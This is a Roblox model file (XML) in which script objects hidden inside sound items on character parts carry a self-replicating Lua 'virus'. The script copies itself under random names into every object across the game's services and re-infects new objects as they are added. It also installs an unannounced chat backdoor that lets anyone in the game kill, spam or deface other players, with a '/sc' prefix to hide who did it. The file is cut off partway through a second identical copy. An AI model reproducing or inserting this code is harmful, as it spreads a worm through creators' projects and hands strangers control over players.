							<Item class="Script" referent="RBX363">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">rlo14</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX364">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-5.65544653</X>
								<Y>3.32224011</Y>
								<Z>115.889595</Z>
								<R00>0.697126448</R00>
								<R01>2.63230845e-007</R01>
								<R02>0.716948211</R02>
								<R10>1.03866682e-006</R10>
								<R11>1</R11>
								<R12>-1.37710481e-006</R12>
								<R20>-0.716948211</R20>
								<R21>1.7046865e-006</R21>
								<R22>0.697126448</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Right Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX365">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">p00dc1</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX366">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">wmrdogm6i</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
